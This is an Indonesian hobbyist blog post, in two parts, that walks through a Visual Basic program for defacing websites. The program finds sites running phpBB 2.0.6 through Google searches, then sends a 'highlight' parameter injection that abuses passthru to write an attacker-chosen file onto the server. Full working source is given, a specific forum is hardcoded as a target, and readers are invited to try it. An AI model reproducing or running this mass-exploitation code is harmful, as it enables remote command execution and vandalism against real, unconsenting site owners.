Deface Web Dengan Visual Basic (2)

Gomenasai….

Lama ga posting huh.Bagi yang udah nunggu maaf ya kelamaan. Dishare aja kodenya bareng-bareng ga lewat email. OK fren.Lanjut…

Desain software seperti ini :

Kodenya ini :
—————————————————————————————-
Option Explicit
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String) As Long
Dim bStop As Boolean

Private Sub cmdCari_Click()
Dim i As Integer, sSite As String
lstServer.Clear
Select Case cmdCari.Caption
Case "Cari Server"
bStop = False
cmdCari.Caption = "Batalkan Pencarian"
For i = 1 To Val(cboHal.Text)
If bStop Then Exit For
lblstatus.Caption = "Dalam Pencarian... Tunggu Bung.."
DoEvents
sSite = GetSiteContent("http://www.google.co.id/search?hl=id&q=intext:Powered+by+phpBB+2.0.6&num=" & cboLink.Text & "&start=" & ((i - 1) * Val(cboLink.Text)))
If Len(sSite) Then GetURLs sSite
Next
cmdCari.Caption = "Cari Server"
lblstatus.Caption = vbNullString
MsgBox "Pencarian Selesai", vbInformation
If lstServer.ListCount > 0 Then lblstatus.Caption = "Pilih Server dari Daftar"
Case "Batalkan Pencarian"
bStop = True
End Select
End Sub

Private Sub cmdDeface_Click()
Dim sSite As String
Dim nmfile As String
Dim isifile As String
Dim url As String
Dim urlInject As String
Dim x, y
Dim site1 As String
Dim site2 As String
Dim i As Integer
On Error GoTo cmdDeface_Click_Error
nmfile = txtnmfile.Text
isifile = "echo " & """" & txtisifile.Text & """" & "> " & isifile
url = ""
lblstatus.Caption = "Site sedang di DEFACE...."
If chk1.Value = True Then
If opt1.Value = True Then
url = "http://www.mohid.com/forum/" & nmfile
sSite = GetSiteContent("www.mohib.com/forum/viewtopic.php?t=41&highlight=%2527.passthru($HTTP_GET_VARS[a]).%2527&a=" & isifile)
End If
Else
x = Split(lstServer.List(lstServer.ListIndex), ".php?")
y = Split(x(0), "/")
For i = 2 To UBound(y) - 1
url = url & "/" & y(i)
Next
urlInject = "http:/" & url & "/viewtopic.php?t=4&highlight=%2527.passthru($HTTP_GET_VARS[a]).%2527&a=" & isifile
url = "http:/" & url & "/" & isifile
sSite = GetSiteContent(urlInject)
End If
lblstatus.Caption = "Cek hasilnya di " & url & ". Jika muncul seperti yang diketik, tandanya berhasil"
On Error GoTo 0
Exit Sub
cmdDeface_Click_Error:
MsgBox "Error " & Err.Number & " (" & Err.Description & ") in procedure cmdDeface_Click of Form Form1"
End Sub

Private Sub Form_Load()
cboHal.AddItem "1"
cboHal.AddItem "2"
cboHal.AddItem "3"
cboHal.AddItem "4"
cboHal.AddItem "5"
cboHal.AddItem "6"
cboHal.AddItem "7"
cboHal.AddItem "8"
cboHal.AddItem "9"
cboHal.AddItem "10"
cboLink.AddItem "1"
cboLink.AddItem "2"
cboLink.AddItem "3"
cboLink.AddItem "4"
cboLink.AddItem "5"
cboLink.AddItem "6"
cboLink.AddItem "7"
cboLink.AddItem "8"
cboLink.AddItem "9"
cboLink.AddItem "10"
End Sub

Private Function GetSiteContent(ByVal sURL As String)
On Error GoTo jut
Dim sBuffer As String, sResult As String
With Inet1
.Execute sURL, "GET", , "User-Agent:Neomedia/5.0 (Windows; U; Windows NT 5.1;de; rv:1.8.1.3) T-Rex/20070309 Firefly/2.0.0.3"
While .StillExecuting
DoEvents
Wend
Do
DoEvents
sBuffer = .GetChunk(1024, icString)
sResult = sResult & sBuffer
Loop While Len(sBuffer)
GetSiteContent = sResult
End With
Exit Function
jut:
GetSiteContent = vbNullString
End Function

Private Sub GetURLs(ByVal sText As String)
Dim lPos As Long, lStartPos As Long, lEndPos As Long, sFound As String
If Len(sText) Then
Do
lPos = InStr(lPos + 1, LCase$(sText), "href=" & Chr$(34))
If lPos Then
lStartPos = lPos + 6
lPos = InStr(lStartPos + 1, sText, Chr$(34))
If lPos Then
lEndPos = lPos
sFound = Mid$(sText, lStartPos, lEndPos - lStartPos)
If ResultLink(sFound) And Not InList(sFound) Then lstServer.AddItem sFound
End If
End If
Loop While lPos
End If
End Sub

Private Function ResultLink(ByVal sURL As String)
If InStr(1, Left$(sURL, 12), "://") And InStr(1, sURL, "accounts/Login?continue") = 0 And InStr(1, sURL, "news.google") = 0 And InStr(1, sURL, "froogle.google") = 0 And InStr(1, sURL, "translate.google") = 0 And InStr(1, sURL, "video.google") = 0 And InStr(1, sURL, "blogsearch.google") = 0 And InStr(1, sURL, "books.google") = 0 And InStr(1, sURL, "maps.google") = 0 And InStr(1, sURL, "search?q=cache") = 0 And InStr(1, sURL, "patents?q=") = 0 Then ResultLink = True
End Function

Private Function InList(sText As String) As Boolean
InList = IIf(SendMessage(lstServer.hwnd, &H1A2, -1, sText) = -1, False, True)
End Function

Selamat Mencoba…
Having Fun….

Deface Web Orang Pake VB (1)

Akhirnya disela-sela kesibukan sehari-hari, saya bisa melanjutkan keinginan menulis blog tentang deface web pake VB.  

Learning by Doing, kalimat ini emang cocok buat semua orang yang ingin berkecimpung di dunia hacking. Saya tidak mengatakan hacker itu baik atau buruk, tergantung niat atau unjuk gigi doang (Pake odol apa emang mo unjuk gigi).

OK. Mari kita coba bikin program VB untuk deface web orang. Tujuannya hanya memberi tahu pada adminnya bahwa webnya bisa dimasuki oleh kita.Berdasarkan pengalaman, Pertama kali program yang saya buat dijalankan akan didapatkan beberapa web yang rentan buat dideface (10-20 buah). Tapi pada saat itu saya tidak melakukan deface hanya looking-looking aja. kemudian saya ulangi lagi, TERNYATA jumlah web sudah berkurang menjadi 2 buah saja. Dari situ, saya berpikir kalau hanya ingin memberi tahu ke admin ga perlu deface cukup kasih chalenge ke admin ga aman.

PRINSIP KERJA PROGRAM

Program  DEFACE dengan vb ini, menggunakan layanan google.com untuk mencari tahu web-web yang menggunakan komponen web yang rentan keamanannya, seperti phpBB 2.0.6. Nah saat ini sasaran deface adalah web dengan phpBB 2.0.6. 

DESAIN PROGRAM

(to be contnued)